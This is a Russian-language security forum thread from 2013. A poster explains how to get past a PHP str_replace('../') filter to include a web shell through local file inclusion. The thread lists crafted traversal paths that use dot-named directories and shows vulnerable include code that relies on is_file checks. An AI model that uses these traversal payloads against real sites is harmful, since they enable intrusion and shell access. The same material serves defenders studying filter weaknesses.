ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

01.08.2013, 08:25
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме: 2268
Репутация:
0
|
|
Предположим, структура такова:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]scriptdir[/COLOR][COLOR="#007700"]/include.[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][/COLOR]
Есть переменная, в которой лежит некий относительный путь к шеллу. В итоге мы можем подключать шелл, как просто через include, как и протащив эту-же переменную через str_replace('../', '', ...), а потом уже через include при каких-ни будь проверках используя выход из несуществующего каталога состоящего из точек:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]./..../../..[/COLOR][COLOR="#FF8000"]//shell.php
[/COLOR][COLOR="#007700"]./..../..[/COLOR][COLOR="#FF8000"]//../shell.php
[/COLOR][COLOR="#007700"]./....[/COLOR][COLOR="#FF8000"]//../../shell.php
[/COLOR][COLOR="#007700"]./.../../.././[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]./.../.././../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]./..././../../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]./../..../..[/COLOR][COLOR="#FF8000"]//shell.php
[/COLOR][COLOR="#007700"]./../....[/COLOR][COLOR="#FF8000"]//../shell.php
[/COLOR][COLOR="#007700"]./../.../.././[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][COLOR="#007700"]./../..././../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
etc
[/COLOR][/COLOR]
Это все эквивалентно этому:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]./../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php
[/COLOR][/COLOR]
Не видел нигде этого способа, если где-то он есть, покажите... Так-же, где-то видел тему с тестами выходов из несуществующих каталогов и различными слешами, не могу сейчас её найти, если кто знает где она - сбросе сюда, когда такие темы нужны - их нет.
|
|
|

01.08.2013, 09:13
|
|
Guest
Сообщений: n/a
Провел на форуме: 193811
Репутация:
724
|
|
Помню в 1 из видео точно было.
Если бы что-нибудь подобное для обходе base_dir...
|
|
|
|

08.08.2013, 19:44
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме: 2268
Репутация:
0
|
|
По заданным вопросам, что мне пришли(Я обязательно отвечаю). Для такой фильтрации:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"../"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
Есть 2 стандартных обхода, а именно:
Все они прозрачны для кода после фильтрации. У меня другой вариант, о котором я решил написать здесь что-бы вы знали его существование:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]))
include([/COLOR][COLOR="#DD0000"]'./'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"../"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]));
...
if([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]) &&[/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"../"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])))
include([/COLOR][COLOR="#DD0000"]'./'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
...
[/COLOR][COLOR="#0000BB"]etc
[/COLOR][/COLOR]
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|